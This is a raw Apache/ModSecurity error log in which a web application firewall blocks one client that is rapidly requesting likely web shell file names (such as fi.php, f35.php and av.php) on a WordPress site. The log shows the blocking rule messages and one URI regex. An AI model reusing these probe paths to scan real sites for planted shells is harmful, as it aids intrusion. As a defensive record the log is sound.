[Fri Apr 17 14:34:59.223989 2026] [:error] [pid 9263:tid 9277] [client 74.234.56.128:23815] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeHUkxP68VyHNvj1e56kFgAAAMw"]
[Fri Apr 17 14:34:59.280289 2026] [:error] [pid 9263:tid 9285] [client 74.234.56.128:25872] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aeHUkxP68VyHNvj1e56kFwAAANQ"]
[Fri Apr 17 14:34:59.726918 2026] [:error] [pid 9263:tid 9269] [client 74.234.56.128:28507] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeHUkxP68VyHNvj1e56kGAAAAMQ"]
[Fri Apr 17 14:34:59.826364 2026] [:error] [pid 51878:tid 51899] [client 74.234.56.128:28454] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abcd.php"] [unique_id "aeHUk0nQhUtMbw9EsgYa1AAAARM"]
[Fri Apr 17 14:35:00.265182 2026] [:error] [pid 51878:tid 51883] [client 74.234.56.128:29528] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeHUlEnQhUtMbw9EsgYa1QAAAQM"]
[Fri Apr 17 14:35:00.330177 2026] [:error] [pid 9152:tid 9207] [client 74.234.56.128:27490] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aeHUlJJYca8I3TNCwIf_OQAAAFE"]
[Fri Apr 17 14:35:00.811152 2026] [:error] [pid 9263:tid 9271] [client 74.234.56.128:28477] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/"] [unique_id "aeHUlBP68VyHNvj1e56kGgAAAMY"]
[Fri Apr 17 14:35:00.849110 2026] [:error] [pid 9263:tid 9267] [client 74.234.56.128:26442] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aeHUlBP68VyHNvj1e56kGwAAAMI"]
[Fri Apr 17 14:35:01.357786 2026] [:error] [pid 9263:tid 9286] [client 74.234.56.128:28442] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeHUlRP68VyHNvj1e56kHQAAANU"]
[Fri Apr 17 14:35:01.358011 2026] [:error] [pid 9263:tid 9289] [client 74.234.56.128:28935] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aeHUlRP68VyHNvj1e56kHgAAANg"]
[Fri Apr 17 14:35:01.885123 2026] [:error] [pid 9263:tid 9281] [client 74.234.56.128:28436] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fi.php"] [unique_id "aeHUlRP68VyHNvj1e56kIAAAANA"]
[Fri Apr 17 14:35:01.888141 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:28503] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeHUlRP68VyHNvj1e56kIQAAAMc"]
[Fri Apr 17 14:35:02.387148 2026] [:error] [pid 25010:tid 25026] [client 74.234.56.128:28029] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeHUlo-7kkf42RarqQ1FzAAAAU0"]
[Fri Apr 17 14:35:02.423882 2026] [:error] [pid 9151:tid 9175] [client 74.234.56.128:24900] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aeHUlshTVuRPkua22vQU7gAAAA4"]
[Fri Apr 17 14:35:02.890090 2026] [:error] [pid 9152:tid 9213] [client 74.234.56.128:29505] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wen.php"] [unique_id "aeHUlpJYca8I3TNCwIf_PAAAAFc"]
[Fri Apr 17 14:35:02.925318 2026] [:error] [pid 9152:tid 9203] [client 74.234.56.128:26968] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aeHUlpJYca8I3TNCwIf_PQAAAE0"]
[Fri Apr 17 14:35:03.396835 2026] [:error] [pid 34273:tid 34297] [client 74.234.56.128:26400] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeHUl2uQDW686mK3dgHDbwAAAZY"]
[Fri Apr 17 14:35:03.428060 2026] [:error] [pid 9152:tid 9199] [client 74.234.56.128:29470] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aeHUl5JYca8I3TNCwIf_PwAAAEk"]
[Fri Apr 17 14:35:03.932034 2026] [:error] [pid 34273:tid 34283] [client 74.234.56.128:27484] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeHUl2uQDW686mK3dgHDcAAAAYg"]
[Fri Apr 17 14:35:03.977361 2026] [:error] [pid 61523:tid 61556] [client 74.234.56.128:24403] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a1.php"] [unique_id "aeHUl8OaH-Pgc7WEf4NHKgAAAc4"]
[Fri Apr 17 14:35:04.479403 2026] [:error] [pid 34273:tid 34296] [client 74.234.56.128:27994] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aeHUmGuQDW686mK3dgHDcgAAAZU"]
[Fri Apr 17 14:35:04.486860 2026] [:error] [pid 9263:tid 9278] [client 74.234.56.128:29454] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeHUmBP68VyHNvj1e56kJwAAAM0"]
[Fri Apr 17 14:35:04.980264 2026] [:error] [pid 9263:tid 9268] [client 74.234.56.128:29052] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aeHUmBP68VyHNvj1e56kKQAAAMM"]
[Fri Apr 17 14:35:05.008849 2026] [:error] [pid 61523:tid 61562] [client 74.234.56.128:28990] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aeHUmcOaH-Pgc7WEf4NHKwAAAdQ"]
[Fri Apr 17 14:35:05.479931 2026] [:error] [pid 34273:tid 34284] [client 74.234.56.128:27979] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aeHUmWuQDW686mK3dgHDdAAAAYk"]
[Fri Apr 17 14:35:05.519015 2026] [:error] [pid 51878:tid 51889] [client 74.234.56.128:29022] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeHUmUnQhUtMbw9EsgYa1wAAAQk"]
[Fri Apr 17 14:35:06.008877 2026] [:error] [pid 61523:tid 61549] [client 74.234.56.128:29050] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/update/f35.php"] [unique_id "aeHUmsOaH-Pgc7WEf4NHLQAAAcc"]
[Fri Apr 17 14:35:06.025681 2026] [:error] [pid 61523:tid 61561] [client 74.234.56.128:26435] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeHUmsOaH-Pgc7WEf4NHLgAAAdM"]
[Fri Apr 17 14:35:06.510553 2026] [:error] [pid 61523:tid 61566] [client 74.234.56.128:28974] [client 74.234.56.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aeHUmsOaH-Pgc7WEf4NHMAAAAdg"]
[Fri Apr 17 14:35:06.594799 2026] [:error] [pid 61523:tid 61543] [client 74.234.56.128:26968] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeHUmsOaH-Pgc7WEf4NHMQAAAcE"]
[Fri Apr 17 14:35:07.026924 2026] [:error] [pid 9152:tid 9191] [client 74.234.56.128:27929] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeHUm5JYca8I3TNCwIf_QQAAAEE"]
[Fri Apr 17 14:35:07.104553 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:27400] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/fi.php"] [unique_id "aeHUm8OaH-Pgc7WEf4NHNQAAAc0"]
[Fri Apr 17 14:35:07.577432 2026] [:error] [pid 61523:tid 61551] [client 74.234.56.128:28970] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeHUm8OaH-Pgc7WEf4NHOAAAAck"]
[Fri Apr 17 14:35:07.612780 2026] [:error] [pid 9152:tid 9196] [client 74.234.56.128:28996] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUm5JYca8I3TNCwIf_RAAAAEY"]
[Fri Apr 17 14:35:08.081533 2026] [:error] [pid 9152:tid 9208] [client 74.234.56.128:28474] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeHUnJJYca8I3TNCwIf_RgAAAFI"]
[Fri Apr 17 14:35:08.113888 2026] [:error] [pid 9152:tid 9199] [client 74.234.56.128:25365] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUnJJYca8I3TNCwIf_SAAAAEk"]
[Fri Apr 17 14:35:08.612780 2026] [:error] [pid 9153:tid 9235] [client 74.234.56.128:28947] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeHUnOMHGxkTZX3c45fPgQAAAJE"]
[Fri Apr 17 14:35:08.651754 2026] [:error] [pid 9151:tid 9173] [client 74.234.56.128:26915] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUnMhTVuRPkua22vQU8gAAAAw"]
[Fri Apr 17 14:35:09.161606 2026] [:error] [pid 61523:tid 61565] [client 74.234.56.128:28427] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeHUncOaH-Pgc7WEf4NHOgAAAdc"]
[Fri Apr 17 14:35:09.207183 2026] [:error] [pid 61523:tid 61552] [client 74.234.56.128:28976] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fe5.php"] [unique_id "aeHUncOaH-Pgc7WEf4NHOwAAAco"]
[Fri Apr 17 14:35:09.706495 2026] [:error] [pid 25010:tid 25022] [client 74.234.56.128:24952] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeHUnY-7kkf42RarqQ1FzQAAAUk"]
[Fri Apr 17 14:35:09.769129 2026] [:error] [pid 61523:tid 61553] [client 74.234.56.128:29532] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeHUncOaH-Pgc7WEf4NHPgAAAcs"]
[Fri Apr 17 14:35:10.246384 2026] [:error] [pid 61523:tid 61558] [client 74.234.56.128:28511] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeHUnsOaH-Pgc7WEf4NHQwAAAdA"]
[Fri Apr 17 14:35:10.312345 2026] [:error] [pid 34273:tid 34276] [client 74.234.56.128:27416] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeHUnmuQDW686mK3dgHDfAAAAYE"]
[Fri Apr 17 14:35:10.793930 2026] [:error] [pid 9152:tid 9209] [client 74.234.56.128:26974] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "aeHUnpJYca8I3TNCwIf_YAAAAFM"]
[Fri Apr 17 14:35:10.847055 2026] [:error] [pid 61523:tid 61555] [client 74.234.56.128:29448] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeHUnsOaH-Pgc7WEf4NHYAAAAc0"]
[Fri Apr 17 14:35:11.316092 2026] [:error] [pid 9263:tid 9282] [client 74.234.56.128:27445] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeHUnxP68VyHNvj1e56kNQAAANE"]
[Fri Apr 17 14:35:11.357927 2026] [:error] [pid 9263:tid 9272] [client 74.234.56.128:29546] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/uploads/2021/02/index.php"] [unique_id "aeHUnxP68VyHNvj1e56kNgAAAMc"]
[Fri Apr 17 14:35:11.831987 2026] [:error] [pid 9263:tid 9283] [client 74.234.56.128:28449] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeHUnxP68VyHNvj1e56kNwAAANI"]
[Fri Apr 17 14:35:11.898140 2026] [:error] [pid 9263:tid 9276] [client 74.234.56.128:28968] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUnxP68VyHNvj1e56kOAAAAMs"]
[Fri Apr 17 14:35:12.376134 2026] [:error] [pid 51878:tid 51886] [client 74.234.56.128:25368] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeHUoEnQhUtMbw9EsgYa3gAAAQY"]
[Fri Apr 17 14:35:12.416088 2026] [:error] [pid 34273:tid 34299] [client 74.234.56.128:29535] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUoGuQDW686mK3dgHDhQAAAZg"]
[Fri Apr 17 14:35:12.885838 2026] [:error] [pid 9151:tid 9162] [client 74.234.56.128:26430] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/"] [unique_id "aeHUoMhTVuRPkua22vQU9QAAAAE"]
[Fri Apr 17 14:35:12.952827 2026] [:error] [pid 9263:tid 9279] [client 74.234.56.128:29511] [client 74.234.56.128] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/av.php"] [unique_id "aeHUoBP68VyHNvj1e56kPAAAAM4"]
[Fri Apr 17 14:35:13.466482 2026] [proxy_fcgi:error] [pid 51878:tid 51883] [client 74.234.56.128:29023] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:35:13.690920 2026] [proxy_fcgi:error] [pid 61523:tid 61564] [client 74.234.56.128:28490] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:35:13.733469 2026] [proxy_fcgi:error] [pid 51878:tid 51885] [client 74.234.56.128:29023] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:35:13.960551 2026] [proxy_fcgi:error] [pid 61523:tid 61549] [client 74.234.56.128:28490] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:35:13.989165 2026] [proxy_fcgi:error] [pid 51878:tid 51889] [client 74.234.56.128:29023] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:35:14.229495 2026] [proxy_fcgi:error] [pid 61523:tid 61547] [client 74.234.56.128:28490] AH01071: Got error 'Primary script unknown'
[Fri Apr 17 14:35:14.243779 2026] [proxy_fcgi:error] [pid 51878:tid 51892] [client 74.234.56.128:29023] AH01071: Got error 'Primary script unknown'
